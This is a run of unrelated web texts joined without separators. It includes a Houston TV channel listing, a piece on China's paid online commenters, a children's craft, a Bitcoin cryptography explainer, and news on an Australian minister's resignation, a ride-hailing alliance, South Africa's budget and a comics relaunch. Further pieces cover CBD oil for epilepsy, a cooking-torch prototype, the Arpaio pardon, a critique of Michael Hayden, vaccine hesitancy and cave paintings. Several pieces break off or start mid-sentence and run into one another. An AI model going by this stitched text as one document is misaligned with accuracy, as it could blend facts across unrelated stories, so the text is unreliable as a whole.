KZHO-LD (RF 39) (broadcasting from the JPMorgan Chase Tower downtown)(Low power)
38.1 Visión Celestial(live stream)
38.2 Vida Vision(live stream)
38.3 Visión Celestial(live stream)
38.4 Religious
38.5 Color bars
38.6 Religious
38.7 Color bars
38.8 Iglesia Cristiana TV
38.9 Joe FM
KIAH (RF 38)
39.1 CW (Comcast 5/605 HD, U-verse 5 |
was better than quantity because the less articulate posters were easily spotted, and ridiculed, as members of the "50 Cent Army" or "Internet Apes" or the “Water (because of the zombie accounts used for posting) Army.” This was especially the case outside China. Inside China people just learned to ignore the government posters. But the more skilled Internet Apes often appear convincing to many people following Internet based discussions. The "50 Cent Army" was often a very worthwhile investment.
In the United States the same techniques were adopted to push political candidates or commercial products. There it was called "viral marketing." The CIA has used a similar technique to counter anti-American, or pro-terrorist, activity on the Internet. This activity also made it easier to spot potential terrorists or potential informants.
Russia also adopted the Chinese technique of harnessing the enthusiasm of pro-government volunteers. As happened elsewhere, bloggers and posters with a large following are also enticed to be pro-government, for a fee (or perhaps because of a few threats).
This practice of buying favorable attention in the media is nothing new and is centuries old. The U.S. is unique in that, for about a century, the American mass media has been largely free of this blatant bribery. But in most of the world a clever journalist quickly attracts the attention of people who will pay for some favorable comments. It's no secret, although many journalists insist they are not bought.Share your craft ideas for a share of the ad revenue. Click on Write For Us.
Cardboard Tube Paddington Bear
Time
Age
Level
Materials
Empty toilet roll
Red, yellow, brown and black paper
Blue foam sheet (or paper)
Empty matchbox
Blue marker
Glue, scissors
Method
Cover the matchbox with brown paper. Write down 'Paddington Bear'.
To make the handle, cut a small piece of black paper and glue as shown in the picture.
Make a paper boat using half a red A4 paper. Follow the steps as shown in the photos.
Cut a small triangle to make the feet of Paddington.
Cut the blue foam sheet and glue around the toilet roll.
Cut two small yellow pieces and glue to the centre.
Draw the eyes, nose, mouth and feet.
Glue the hat, making creases to fit.
Leave to dry and there you have your cute bear friend.
Categories
Whoever has read or watched Paddington Bear must have fallen in love with this well-mannered and adorable bear. Here is an easy and cheap way to recreate this courteous personage.: 10 minutes and additional drying time: Any Age: EasyHello Reader,
In this post we will take a closer look at the magic of cryptography and how it features in Bitcoin.
Bitcoin begins with public key cryptography
As I’ve touched on in my previous posts, the Bitcoin protocol is essentially a record of transactions between addresses. For simplicities sake you can think of an address as being akin to an online bank account. The Bitcoin ledger contains records of the coins that each address has sent and received.
But what actually is an address? Public key cryptography was published in the 1970s and provides a method for asynchronous encryption and decryption of information.
What on earth does that mean?
Traditional encryption protocols are synchronous which basically means that the same key is used to both encrypt and decrypt information. This works fine if you have a mechanism for securely sharing that private key between relevant parties, for example in person. However, it’s utility breaks down if you have no secure method to share.
An excellent example of this is communication over the internet. If you wish to privately communicate with someone you trust by encrypting your data before sending it to them, how do you let them know the key to decrypt if you can’t meet them in person? In an email? Via a phone call? In the post? Each of those methods is utterly insecure and therefore your private key is likely exposed to interception. The effect is the process is essentially void and barely any better than having no encryption in the first place.
Public key cryptography to the rescue.
The genius of public key cryptography is that it utilises two encryption keys. The first key, known as the public key, is used to encrypt information. It can be publicly shared with anyone, for example over the internet.
The second key, known as the private key, is used to decrypt information which has previously been encrypted using the associated public key. This key, as the name implies, should be kept absolutely private.
It is computationally easy to initially generate a public/private key pair and to derive a public key from a private key. It is however computationally difficult (to the point of impracticability) to derive a private key from a public key.
Let’s use an example to illustrate the merit of this approach. James has found a blog online and would like to privately communicate with the author. The author, Ben, has taken the time to list his public key on his blog for exactly this purpose. James takes this public key and uses it to encrypt the message he wants to send to Ben and then sends the encrypted data using any method he wishes, even over an insecure channel. Ben receives the encrypted message and can use his private key, that only he knows, to decrypt the message and privately read it’s contents. No party that intercepted the encrypted message would be able to read it without the private key.
This technology now underpins much of the secure communication that happens over the internet. In fact, every time you visit a secure TLS (https) enabled website, perhaps to purchase something using a credit card, you are relying on public key cryptography to ensure your connection is secure.
So how do public and private keys relate to Bitcoin?
Public key cryptography enables another really useful construct: digital signatures. A person can combine a message and their private key to create a digital signature. This signature can then be shared with a third party which can use the associated public key to verify that the signature is by the owner of the private key, without actually revealing the private key to the third party. Effectively, this enables a person to prove that they are the owner of a given public key and this can be trusted beyond doubt.
When you run Bitcoin software, the first step is to generate a public / private key pair.
The public key becomes the Bitcoin address we referenced above. This address can be freely shared with people who can then use it to send you coins in a transaction. Addresses are ultimately just long numbers but are encoded as alphanumeric strings which look similar to:
1BvBMSEYstWetqTFn5Au4m4GFg7xJaNVN2
The associated private key should be kept entirely secret. As the holder of a private key, you are able to sign transactions (i.e. create a digital signature) which prove that you are the owner of a given address. This allows you to spend the Bitcoins stored at that address by sending them to another address. Private keys are even longer than public keys and typically displayed in base58 format which look similar to:
5Kb8kLf9zgWQnogidDA76MzPL6TsZZY36hWXMssSzNydYXYB9KF
So what is a Bitcoin wallet?
A wallet in this context refers to a digital file generated by Bitcoin software. All the wallet actually contains is a list of generated private keys which provide access to the public keys (addresses) associated with those private keys.
A common misconception of Bitcoin is that your wallet somehow contains Bitcoins directly. It doesn’t, those Bitcoins exist on the distributed ledger. Your wallet file just contains the private keys which allow you to prove that you own the associated addresses and therefore allows you to actually spend any coins held at those addresses.
The software will typically allow you to enter a password to encrypt your wallet file. Then, whenever you wish to create a transaction using one of your addresses, you open your wallet using the password you setup and the software will have access to each of the contained private keys to digitally sign your desired transactions.
If you lose access to the wallet, you have effectively lost access to your private keys and your Bitcoins are lost forever.
No one will be able to retrieve them for you due to the strong nature of encryption. I will cover how to secure your coins in a later post, but for now please remember that you absolutely must keep secure backups of your wallet file and maintain offline records of your password.
That’s all folks. See you next time as we delve into the Bitcoin blockchain.
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Yours, XSussan Ley has resigned from the frontbench amid an ongoing expenses scandal, despite claiming she has not broken any rules.
Key points: New independent body overseeing parliamentary expenses will be created
Arthur Sinodinos to stay on as Acting Health Minister until Ms Ley's replacements announced
Ms Ley maintains she has followed rules, but admits she may have failed political "pub test"
Prime Minister Malcolm Turnbull said Ms Ley's replacements in the health, aged care and sport portfolios would be announced next week and Arthur Sinodinos would stay on as Acting Health Minister until then.
"Australians are entitled to expect that politicians spend taxpayers' money carefully, ensuring at all times that their work expenditure represents an efficient, effective and ethical use of public resources," he said.
"We should be, as politicians, backbenchers and ministers, we should be as careful and as accountable with taxpayers' money as we possibly can be."
Ms Ley stepped aside from Cabinet on Monday, amid two investigations into her travel expenses, which included billing taxpayers to attend two New Year's Eve events hosted by a prominent Queensland businesswoman and donor.
Ms Ley was also criticised for purchasing a $795,000 luxury apartment on the Gold Coast while on a taxpayer funded trip, claiming it was an impulse purchase.
But a retired couple on the Gold Coast Hinterland claim Ms Ley made an unsuccessful bid on her house nine months before she purchased the apartment.
New body to oversee expenses
Mr Turnbull has also announced a new compliance body to oversee parliamentary expenses, based on a similar system in the United Kingdom.
"The Government believes that the work expenses of parliamentarians, including ministers, should be administered and overseen by an independent agency," he said.
It will monitor and adjudicate all claims by MPs, senators and ministers, ensuring that taxpayers' funds are spent appropriately and in compliance with the rules."
Describing transparency as key, Mr Turnbull said the new system would allow the public to view expenses in "as close to real time" as possible.
The body will be governed by an independent board including an experienced auditor, someone with experience in remuneration matters, a former judicial officer and a former MP.
The creation of the body will be overseen by Special Minister of State, Scott Ryan, and Mr Turnbull has directed his department to provide urgent attention.
"Australians are entitled to expect that politicians spend taxpayers' money carefully, ensuring at all times that their work expenditure represents an efficient, effective and ethical use of public resources," Mr Turnbull said.
The UK introduced changes to expense reporting in 2009 after a long-running expenses scandal, establishing the Independent Parliamentary Standards Authority.
"We're not slavishly bound to the United Kingdom model, I might add, but that is the very clear direction that we are focused on," Mr Turnbull said.
Acting Opposition Leader Penny Wong said Labor had given in-principle support for the changes, but criticised the Government for the delayed response to the scandal involving Ms Ley.
"Sussan Ley's done what she should have done a week ago and she's done what Malcolm Turnbull was too weak to get her to do a week ago," she said.
'I accept community annoyance' with politicians' entitlements: Ley
In a statement, Ms Ley said she was confident she had followed the rules, "not just regarding entitlements but most importantly the ministerial code of conduct".
"The ongoing intense media speculation has made this an incredibly difficult week," she said.
"However I am conscious that it has also been a difficult week for the Government. The ongoing media coverage of politicians' entitlements has been a diversion from the important agenda we all wish to advance at the start of this vital year for our nation and our region.
"Whilst I have attempted at all times to be meticulous with rules and standards, I accept community annoyance, even anger, with politicians' entitlements demands a response."
Ms Ley told reporters on Monday that she was confident the investigations would demonstrate she had not broken any rules, but admitted she may have failed the political "pub test".
Ms Ley was promoted to Cabinet in 2014, 13 years after winning a by-election by 206 votes.
She took over the health portfolio from Peter Dutton and until Friday was one of five women in Cabinet.BENGALURU: A global cab-aggregator alliance is emerging to take on ride-hailing app Uber Ola of India, Didi Kuaidi of China, Lyft of the US, and GrabTaxi of Malaysia have inked a global ride-sharing partnership under which their respective apps can be used in any of the countries in which the others operate.The four-way alliance comes close on the heels of China's largest taxi-aggregator app Didi Kuaidi investing in Ola and picking up stakes in San Francisco-based Lyft and in GrabTaxi, which has a presence across Malaysia, Singapore, Thailand, Vietnam, Indonesia and the Philippines.Ola will roll out the offerings in the January-March quarter of next year. With that, Ola users travelling to China, for instance, can use the Ola app to book a ride on Didi Kuaidi and users travelling to the US can use the app to book a ride on Lyft. "We are excited to partner with Lyft, Didi Kuaidi and GrabTaxi, allowing seamless mobility access across hundreds of cities globally for our combined user base that runs into hundreds of millions," said Bhavish Aggarwal, co-founder and CEO of Ola. "This will also allow all four companies to learn from each other's local innovations and successes that can help us in our shared mission to build better mobility solutions in our respective markets."Ola has ramped up its presence to 102 cities across the country with more than 350,000 vehicles registered on its platform. It receives over a million booking requests a day. Didi provides 7 million rides per day across 360 Chinese cities, while Lyft is the fastest-growing rideshare service in the Unites States, offering 7 million rides per month in more than 190 cities. GrabTaxi offers up to 1.5 million daily bookings across its six countries. Uber is present across over 300 cities in 66 countries, and is one of the world's most valued companies. Its last round of funding valued it at $50 billion.Collectively, Ola, Didi, Lyft and GrabTaxi have raised more than $7 billion. Ola recently raised $500 million from Scottish investment firm Baillie Gifford, Didi Kuaidi and existing investors Falcon Edge, Tiger Global, SoftBank and DST Global, a funding round that valued the four-year-old startup at $5 billion. Cheng Wei, CEO of Didi Kuaidi, said, "The partnership with Lyft, GrabTaxi and Ola allows Chinese users unprecedented ease of international travel, and helps partners improve our own services leveraging each other's technology and expertise. This will be a win for the diversity and vitality of the global rideshare industry."Lyft co-founder and president John Zimmer said: "This isn't solely an alliance of four companies, but also an opportunity to have a greater impact on the future of our cities worldwide."Image copyright AFP Image caption Over the last 18 months, there has been a 30% depreciation of the South African currency
The South African economy is 'in crisis' says the country's finance minister Pravin Gordhan.
The comments came ahead of his Budget speech, in which he cut the country's growth forecast for 2016 to 0.9%, down from 1.7%.
He conceded the economy was struggling with shrinking growth, 25% unemployment, and widespread poverty.
The South African currency, the rand, which has halved over the past five years, fell after the speech.
It dropped 2.25% to make one rand worth around $0.0639.
In a briefing ahead of the Budget, Mr Gordhan said: "There is no doubt about the fact that we are in crisis."
The measures announced in Parliament were aimed at stopping the country falling into recession and to appease the rating agencies who have threatened to downgrade South Africa to junk status, which would raise borrowing costs for the country.
Mr Gordhan unveiled government spending cuts, a civil service job freeze and some moderate tax rises.
These tax increases affect property sales, fuel, sugary drinks, alcohol, tobacco and and capital gains, as well as environmental levies, which are expected to bring in an extra 18bn rand ($1.18bn; £840m).
He had been expected to announce plans on privatising state assets - he fell short of that but said the government was looking at the possibility of merging the loss-making national carrier, South African Airways, with the state-owned SA Express airline "with a view to engaging with a potential minority equity partner".
Privatisation has long been resisted by sections of the ruling African National Congress.
Image caption Pravin Gordhan cut growth forecasts in his 2016 Budget speech
Mr Gordhan was blunt on his outlook for the country.
"We cannot spend money we do not have. We cannot borrow beyond our ability to repay. Until we ignite growth and generate more revenue we have to be tough on ourselves."
Maike Currie, investment director at Fidelity International, said she was unsure if the measures announced would stop the rating agencies cutting their outlook for the country, as they have warned: "There was no increase in VAT, which has remained unchanged at 14% for two decades now, or income tax hike as the finance minister looked to moderate the impact of tax increases on struggling South African households amid a testing economic backdrop.
"Whether this will be enough to appease rating agencies and businesses, however remains to be seen".
She added that it was interesting that Mr Gordhan had focused on cutting down government spending without enforcing austerity measures on everyday South Africans, such as raising income tax.
Analysis: Lerato Mbele, presenter, Africa Business Report:
In his Budget speech, South Africa's finance minister Pravin Gordhan was cautiously optimistic and realistic about the challenges facing the country.
He spoke about the need to tackle wasteful expenditure and was candid about corruption.
The most blatant example of misuse of public funds is the Nkandla scandal where officials used taxpayers money to renovate the president's private country home.
His strategy seems to be that of spending less in order to save more.
The minister said that his focus will be to reduce the government deficit to 3.2% this year, and over the next three years.
The rand weakened after he had finished speaking which suggests the markets are not convinced that the minister has a recovery plan that will lift growth and convince the ratings agencies before they take a decision around May or June.
Concern
The ruling ANC party faces municipal elections later this year and much was riding on this Budget to turn the economic situation around. Although the country is rich in mineral resources it has been hit hard by the fall in global commodity prices. South Africa's farmers have also been hit by the worst drought in more than a century.
Last December, President Jacob Zuma shocked the nation and the business community by suddenly replacing the well-respected finance minister Nhlanhla Nene with an ally and backbencher David Van Rooyen.
The markets took a dim view, with foreign investors withdrawing money and there were complaints within his own ruling African National Congress party.
Four days later President Zuma did a U turn and re-appointed Mr Gordhan who had served as finance minister for five years to 2014.Credit: Marvel Comics
Credit: Marvel Comics
Marvel's Guardians of the Galaxy is getting a shake-up this fall with "All-New All-Different Marvel," with members leaving, members joining, and a new leader whom Brian Michael Bendis describes as having "a Napoleon Complex." In an interview with Entertainment Weekly, the long-time Marvel writer talks about the title's upcoming relaunch with Valerio Schiti for "All-New All-Different Marvel" and how the team is the "underdogs of the underdogs."
"One of the things we’ve had a lot of luck with, that I enjoy, is for people who have seen the movie or the cartoon that the comic book surprises them. It’s not exactly like the movie," said Bendis, who has written the series since 2013. "There are things that are similar and relationships that are similar, but there are also some differences. Our characters are so entrenched in what’s going on in the Marvel Universe that they have all kinds of cool relationships they might not get in the movies. Right now we have Star-Lord, Peter Quill, and when we last left him, his father, who was the emperor of Peter’s other home planet, ended up turning rather villainous. He was ousted as the head of his planet, and the governments of the planets came to Peter and offered him to take over as president of the planet. We didn’t see what decision he made, but there’s obviously a lot of pros and cons."
Bendis explains that while he's absent from the team, Kitty Pryde takes his spot as their blossoming romance continues.
Credit: Marvel Comics
"I know that’s one of those things that some die-hard fans see and their dander rises, because change is bad. But wait and see," promises Bendis. "You’ll see exactly what that means. Some people feel like I’m personally going over to the house and breaking new toys, but that’s not the case. We’re making them vital and interesting and finding new stuff. Some of my favorite things that have ever happened in literature, and in comics specifically, were when people did do things."
Pryde will now go by the moniker of Star-Lady, but no mention is made by Bendis or EW about the status of the book's previous female lead, Gamora.
Another new addition to the book is the Fantastic Four's Ben Grimm, a.k.a. the Thing. Bendis cites Grimm's early aspirations to be an astronaut in Stan Lee and Jack Kirby's Fantastic Four run as his original impetus for considering him as part of Guardians of the Galaxy, and says that this experience and the fact that space is more accomodating to those with unique looks as the Thing's made for an interesting story.
" So what’s that life going to be like for him if he’s kind of labeled, but now he’s in a place where that’s not a problem anymore?" Bendis added. "The other cool thing is that with Kitty Pryde and Ben Grimm on the team, we have my goal of having a 'Jews In Space' book which is what I pitched when I first came to Marvel."
Credit: Marvel Comics
When asked about Rocket Raccoon assumming the leadership role of the team with Quill's departure, Bendis says it's been a long time coming.
Credit: Marvel Comics
"It is a lot of fun because all of a sudden you’ve got a sense that he’s been waiting for this moment. Peter had to leave the group to do his thing, and Rocket just decides that means he’s in charge," the writer said. "That doesn’t mean anyone else agrees or wants to even fight with him about it, so he just keeps announcing how he’s in charge and everyone’s just doing whatever they want. He’s really having a bit of a Napoleon Complex. Really, we’re having a lot of fun with it, and he’s not the greatest leader."
In describing the new volume of Guardians of the Galaxy as a whole, Bendis said he's trying to be different than what the team is in other mediums such as movies or the upcoming animated series.
"We’ve got some really cool unique stuff that you’re only going to see in the comics, and it’s very big and very bold and very funny and very cute at the same time," said Bendis. "So I’m excited to get people’s feedback and see what they think about the new team and the new team dynamic. And could it be that ben Grimm and Groot are the new cutest couple in comics? It very well could be. We’ll see!"Ava Source: Vera Twomey
AVA BARRY HAS Dravet syndrome, an extremely rare, drug-resistant form of epilepsy.
The six-year-old suffers from several seizures every day, many of them violent. Several types of pharmaceutical medication have failed to improve her condition and she frequently has to spend time in hospital.
Her parents Vera Twomey and Paul Barry believe there is one thing that can help her: cannabidiol (CBD) oil, a form of medicinal marijuana.
Vera says a medication called Epidiolex, which contains CBD oil, could help alleviate some of Ava’s symptoms.
Earlier this year, doctors told Vera and Barry they have run out of pharmaceutical options, but could try some of the failed medicines again in different formats.
In response, they set up an online petition about access to medicinal marijuana in Ireland. It is available in some countries and certain states in the US.
The petition, which had over 11,600 signatures at the time of publication, will be sent to Health Minister Simon Harris. A previous version was intended for his predecessor Leo Varadkar.
Dravet syndrome is extremely rare, affecting about one in 20,000 births, and causes regular and prolonged seizures.
When Ava was diagnosed her parents were told she would not walk or talk, but she has defied the odds in this regard and now attends school. However, her condition means she regularly misses days.
“At the moment, if we got Ava to go to school two days a week you’d be concerned she’d not be able to do a third day, we’re thrilled if she does three. Last year she got to school five days a week just twice.
“I can’t tell you, how badly she wants to go to school, how annoyed she is at me when she can’t go,” Vera tells TheJournal.ie.
It’s not uncommon for Ava to have up to 12 tonic-clonic seizures a day, where she falls to the floor and shakes violently.
Vera says she also often gets 100 or more ‘absences’ a day and myoclonic jerks, like the jerks people sometimes get before falling asleep.
“They’ve never gone away.
We’re still struggling, she’s still having seizures. She’s still going through an awful lot. I’m still very, very worried about her – that she might not come out of one of the seizures.
Vera is in contact with a number of parents in other countries whose children have a much better quality of life since they got access to CBD oil.
She says she is aware of one girl from the US whose seizures have reduced from about 300 a month to just three.
Bill to legalise medicinal cannabis
Medicinal cannabis regularly makes headlines. A recent summit at Trinity College Dublin examined the topic, while a bill on legalising cannabis for medical use is set to be debated in the Dáil in the coming weeks.
In July, Bríd Smith tabled the bill on behalf of her People Before Profit/Anti-Austerity Alliance colleague Gino Kenny.
The bill calls for cannabis use to be permitted for sufferers of illnesses such as Multiple Sclerosis, cancer and Dravet syndrome.
File photo Source: Shutterstock/Africa Studio
It calls for the establishment of a Cannabis Regulation Authority and for distributors to be licenced.
A bill by then TD, now MEP, Luke Ming Flanagan to legalise recreational cannabis use was defeated by 111 votes to eight in 2013.
Speaking about the bill in July, Kenny said:
Someone in pain would do anything to take away that pain. We should not criminalise those that use it for that purpose. I think there is a huge groundswell of support with the public to allow cannabis to be used for medicinal purpose, for people with serious illnesses.
Earlier this month, a cross-party parliamentary group examining drug policy reform in the UK called for medicinal cannabis to be made legal in Britain to help people with a number of conditions including chronic pain and anxiety.
During its inquiry, the group took evidence from 623 patients, representatives of the medical professions and people with knowledge of how medical cannabis is regulated across the world.
Caroline Lucas MP, co-chair of the group said: “Many hundreds of thousands of people in the UK are already taking cannabis for primarily medical reasons.
It is totally unacceptable that they should face the added stress of having to break the law to access their medicine. This a matter of compassion and human rights. The government should have the political courage to view the issue of medical cannabis separately from any wider drugs reform and act urgently.
At the time, the Home Office told BBC News there were no plans to legalise the “harmful drug”.
Vera says CBD oil is “very safe” with none of the associated high of marijuana as the tetrahydrocannabinol (THC, the active ingredient) is removed or, if necessary, is only present in trace amounts.
Simon Harris
Vera says she met with Health Minister Simon Harris in June to discuss Ava’s situation and has been in contact with his office a number of times since then.
“I actually thought he was wonderful, I really did. He was so interested in Ava.
“I know not much has happened since then, but I don’t think he was just paying lip service. I haven’t given up hope.”
When Independents 4 Change TD Clare Daly raised the issue of using medicinal cannabis to treat the symptoms of Dravet syndrome in the Dáil in May, Harris said he has “no role in the process of authorising medicinal products”.
“Under European and Irish legislation, before a medicine can be placed on the Irish market, the manufacturer must seek an authorisation from the Health Products Regulatory Authority (HPRA) or, in the case of certain medicinal products, the European Medicines Agency. A determination on an application for authorisation of a medicine is based on a rigorous scientific assessment of the application against the criteria of safety, quality, efficacy, legal and regulatory requirements.
CBD is derived from cannabis which is a controlled drug. If a CBD oil product does not contain an ingredient which is a controlled substance, it may be feasible to have that product imported and used in Ireland, in accordance with specific conditions, should a patient’s doctor be of the opinion that this is an appropriate treatment.
“My department is aware that cannabis for medicinal use has been legalised in some countries and that there have been several studies internationally on the therapeutic effects of cannabinoids for a number of medical issues. In July 2014, the Misuse of Drugs Regulations were amended to allow for certain cannabis based medicinal products to be used in Ireland.
“Subsequently the HPRA granted a marketing authorisation for a cannabis-based medicinal product which is indicated for the relief of certain symptoms for people with multiple sclerosis.”
Harris added that his department “will continue to keep developments in relation to cannabis-based medical products under review”.
Vera’s petition can be viewed here.We just received and tested the pre-production prototype of the Searzall from our factory. Good news. It looks and works great. Here is a photo from the side:
side view of Searzall
Here a a view of the front screen:
front screen
And here it is all fired up:
searing all
The unit is fully disassemble. Here it is taken apart:
taken apart
Finally, here is a closeup of the bushing that attaches to the torch and the thumbscrew lock:
torch attachment area
Testing:
We did our standard 20 minute continuous test burn with no damage to the mesh. We've melted cheese and seared some meat. So far it performs the same as our hand built units.
Current timeline:
Now a bit of bad news. We are between 2 and 4 weeks behind schedule. The reason is the mesh. Our original supplier of the extremely specialized super-alloy mesh (similar to Inconel 693 made by Special Metals if you want to Google it) decided they could not produce our mesh after all (they didn't have the wire and would not be able to draw the wire in the quantities we needed). After some searching we were able to find another supplier who could provide us with a suitable mesh --which is the mesh that we have in our prototype. It is as good or better than the mesh we had before.House Speaker Paul Ryan joined with other Republican leaders Saturday in criticizing President Donald Trump’s decision to pardon Sheriff Joe Arpaio.
“The speaker does not agree with the decision,” Doug Andres, a spokesman for Ryan, told The Wall Street Journal. “Law-enforcement officials have a special responsibility to respect the rights of everyone in the United States. We should not allow anyone to believe that responsibility is diminished by this pardon.”
Arpaio, a strong Trump supporter, was convicted in July of criminal contempt for violating a 2011 court order mandating that police patrols stop arresting people suspected of being illegal immigrants. Arpaio disregarded the court order as Maricopa County sheriff, and would apprehend immigrants and turn them over to Immigration and Customs Enforcement (ICE) officers.
“Throughout his time as Sheriff, Arpaio continued his life’s work of protecting the public from the scourges of crime and illegal immigration,” the White House said Friday announcing Arpaio’s pardon, the first presidential pardon Trump has issued. “Sheriff Joe Arpaio is now eighty-five years old, and after more than fifty years of admirable service to our Nation, he is worthy candidate for a Presidential pardon.”
Arizona Sens. John McCain and Jeff Flake also disagreed with the pardon, criticizing the president for not allowing the justice system to take its course. (RELATED: Hours Before Pardon, Arpaio Used ‘Guilty’ Verdict To Fundraise For Shady Nonprofit)
“The president has the authority to make this pardon, but doing so at this time undermines his claim for the respect of rule of law as Mr. Arpaio has shown no remorse for his actions,” McCain said in a statement Friday.
“I would have preferred that the President honor the judicial process and let it take its course,” Flake said in a tweet regarding the Arpaio pardon.
Former Arizona state Sen. Kelli Ward, who apparently has the president’s support in her challenge of Flake in the Republican U.S. Senate primary, took Trump’s side.
“We applaud the president for exercising his pardon authority to counter the assault on Sheriff Arpaio’s heroic efforts to enforce the nation’s immigration laws,” Ward said.
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It doesn’t matter what cable channel you prefer (CNN, MSNBC, or Fox News), what talk show you watch (The Late Show with Stephen Colbert, Real Time with Bill Maher), or website you read (The New York Times, Washington Post, or The Wall Street Journal), Hayden is everywhere, commenting on the day’s news, while inevitably being portrayed as Mr. Reasonable: a post-partisan straight shooter who will tell you How It Really Works.
But members of the media who play along with this fantasyland portrayal of Hayden should be embarrassed. Hayden has a long history of making misleading and outright false statements, and by the estimation of many lawyers, likely committed countless felonies during the Bush administration. It is something of a wonder that someone responsible for so many reprehensible acts is now considered a totally above-the-fray, honest commentator on all issues intelligence.
It’s easy to see why television bookers keep calling his phone. Hayden smiles and tries to tell jokes (like when he “joked” about putting Edward Snowden on a kill list—so funny!), he uses clever turns of phrase (he called the NSA’s massive metadata surveillance program “dipping our toe” in domestic collection), and occasionally overshares about US intelligence activities (Comparing US and Russian cyber aggression, he said: “A foreign intelligence service getting the internal emails of a major political party in a major foreign adversary? Game on. That’s what we do.”)
These days, Hayden is the go-to authority on Trump’s on-again, off-again war with US intelligence agencies, and most recently, Trump’s discredited allegation that President Obama ordered Trump Tower “wiretapped.” No example could be more perfect to show what a fraud Hayden is.
Now, it’s clear Trump was living in his own warped reality when he falsely tweeted that Obama himself “ordered” a “wiretapp” on Trump Tower. But Hayden gets away with commenting at length on the topic with nary a mention that he himself actually did carry out a wiretapping program on Americans directly ordered by a president.
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TRENDING: One question that turns courageous journalists into cowards
Is the media attention span really so short that they forget that New York Times reporters James Risen and Eric Lichtblau won a Pulitzer prize in 2006 for exposing Bush’s illegal NSA warrantless wiretapping program that was headed up by none other than Michael Hayden, the agency’s director at the time?
You can point to any of his countless appearances on television and in print where this inconvenient fact is avoided at all costs, but this Business Insider video takes the cake. In it, Hayden can be seen, in his usual folksy manner, claiming it’s “it couldn’t happen.” A president could never order someone be wiretapped. He states:
“The president of the United States does not have the authority to authorize electronic surveillance. The authority was taken away from him in the 1970s with the great intelligence reforms of that era. The only institution of the US government that can now authorize surveillance against a US person is the United States court system.”
Let’s review what happened right after 9/11 and see how it stands up to what Hayden says: In October 2001, President Bush called up Michael Hayden at the NSA and asked him what more the NSA could do to conduct surveillance in the US, despite the NSA operating for years exclusively as a foreign intelligence collection agency. In fact, the administration literally called it the “President’s Surveillance Program.” (In other words, the president was directly “authorizing electronic surveillance.”)
Hayden proceeded to set up a program where the NSA collected all the phone records of everyone in the United States, and targeted untold number of US persons for wiretapping the content of their international phone calls and emails (“surveillance” by anyone’s definition).
The White House and NSA did all this while not getting individual court orders and initially circumventing the Foreign Intelligence Surveillance Court (also known as the FISC, part of “the US court system” Hayden references). That was in direct violation of the Foreign Intelligence Surveillance Act (often referred to as FISA, which was part of the “great intelligence reforms of the 1970s” |
ory’s Rollins School of Public Health reported that most of the recent US measles outbreaks occurred due to “intentionally unvaccinated” individuals.
Recently I expressed concerns that an American neo-antivaccine movement is underway, and we should expect measles outbreaks to resume and increase in their frequency or severity. Its beginnings are in Texas where a well-run political action committee has formed and at least 45,000 schoolchildren have been exempted from receiving their vaccines for non-medical reasons. Nationally, “Vaxxed,” a faux documentary alleging a vast conspiracy and cover-up at the CDC, has been showing across the country, while in a few weeks anti-vaccine groups will stage a march on Washington DC. We have heard that a new national commission may form that (depending on its composition) could potentially re-open the wounds first created in the US Congress by house member Dan Burton.
I’m the parent of an adult daughter with autism, as well as the head of a university-based non-profit institute that develops vaccines for poverty-related neglected diseases. I’m worried that America’s anti-vaccine movement has sufficient strength and momentum to affect vaccine coverage globally. Whether it’s Hollywood movies, rap music, or soft drinks, the world is quick to embrace American culture. The “Vaxxed” tour has already begun with showings so far in the United Kingdom, Australia, and elsewhere, but I’m especially concerned about the large middle- and low-middle income nations such as Bangladesh, Brazil, China, India, Indonesia, Nigeria, and Russia. A small drop in measles vaccine coverage in those nations would lead to measles outbreaks and deaths on a scale that we haven’t seen since the years prior to EPI. In so doing we could see a reversal of the gains achieved since 2000 through the Global Goals: The Millennium Development Goals and the new Sustainable Development Goals.
Groups have set up to track the global spread of ‘vaccine hesitancy’, and have made some interesting (and often non-intuitive) findings. Last year Heidi Larson and her colleagues based in London found that among 67 countries, France, Bosnia & Herzegovina, Russia, and Ukraine rank among nations with the highest percentage of people who question the safety of vaccines. They also found that high educational attainment and socioeconomic status is linked to vaccine hesitancy, suggesting to me that the negative (and erroneous) buzz about vaccines and autism is likely a factor.
Things might only get worse pending the imminent expansion and export of an American-led antivaccine movement. We need to recognize that the current activities in Texas and Washington DC could ignite reversals of global disease elimination and eradication efforts that are now more than 50 years in the making. Given these high stakes, I believe the leaders in the US Government must become more vocal and proactive, while addressing and elevating discussions about vaccine hesitancy and antivaccine movements in international forums. Because there are particular consequences of reduced vaccine coverage in some of the largest nations comprising the group of 20 (G20), future G20 summits might be an appropriate venue for coordinated action, in addition to the upcoming World Health Assembly in May. An American antivaccine movement is building and we need to take steps now to snuff it out.Scientists have identified some of the earliest cave paintings produced by humans. Image copyright Maxime Aubert The artworks are in a rural area on the Indonesian Island of Sulawesi. Until now, paintings this old had been confirmed in caves only in Western Europe. Researchers tell the journal Nature that the Indonesian discovery transforms ideas about how humans first developed the ability to produce art. Image copyright Maxime Aubert Australian and Indonesian scientists have dated layers of stalactite-like growths that have formed over coloured outlines of human hands. Early artists made them by carefully blowing paint around hands that were pressed tightly against the cave walls and ceilings. The oldest is at least 40,000 years old. Image copyright Maxime Aubert Image caption This painting, from Bone, is of a variety a wild endemic dwarfed bovid found only in Sulawesi, which the inhabitants probably hunted There are also human figures, and pictures of wild hoofed animals that are found only on the island. Dr Maxime Aubert, of Griffith University in Queensland, Australia, who dated the paintings found in Maros in Southern Sulawesi, explained that one of them (shown immediately below) was probably the earliest of its type. Image copyright Maxime Aubert Image caption At the top of the worn painting is a faint outline of a human hand. Below it is possibly the earliest depiction of an animal "The minimum age for (the outline of the hand) is 39,900 years old, which makes it the oldest hand stencil in the world," said Dr Aubert. This find enables us to get away from this Euro-centric view of a creative explosion that was special to Europe Prof Chris Stringer, Natural History Museum "Next to it is a pig that has a minimum age of 35,400 years old, and this is one of the oldest figurative depictions in the world, if not the oldest one," he told BBC News. There are also paintings in the caves that are around 27,000 years old, which means that the inhabitants were painting for at least 13,000 years. In addition, there are paintings in a cave in the regency of Bone, 100 km north of Maros. These cannot be dated because the stalactite-like growths used to determine the age of the art do not occur. But the researchers believe that they are probably the same age as the paintings in Maros because they are stylistically identical. The discovery of the Indonesian cave art is important because it shows the beginnings of human intelligence as we understand it today.
1. Click on links that appear in the video below to explore the story in more depth with Pallab on location in caves in Britain.
2. Return to the main video by clicking on the box/image, bottom right.
We are aware that this interactive video may not work on some older browsers. You can find a non-interactive version of the content below.
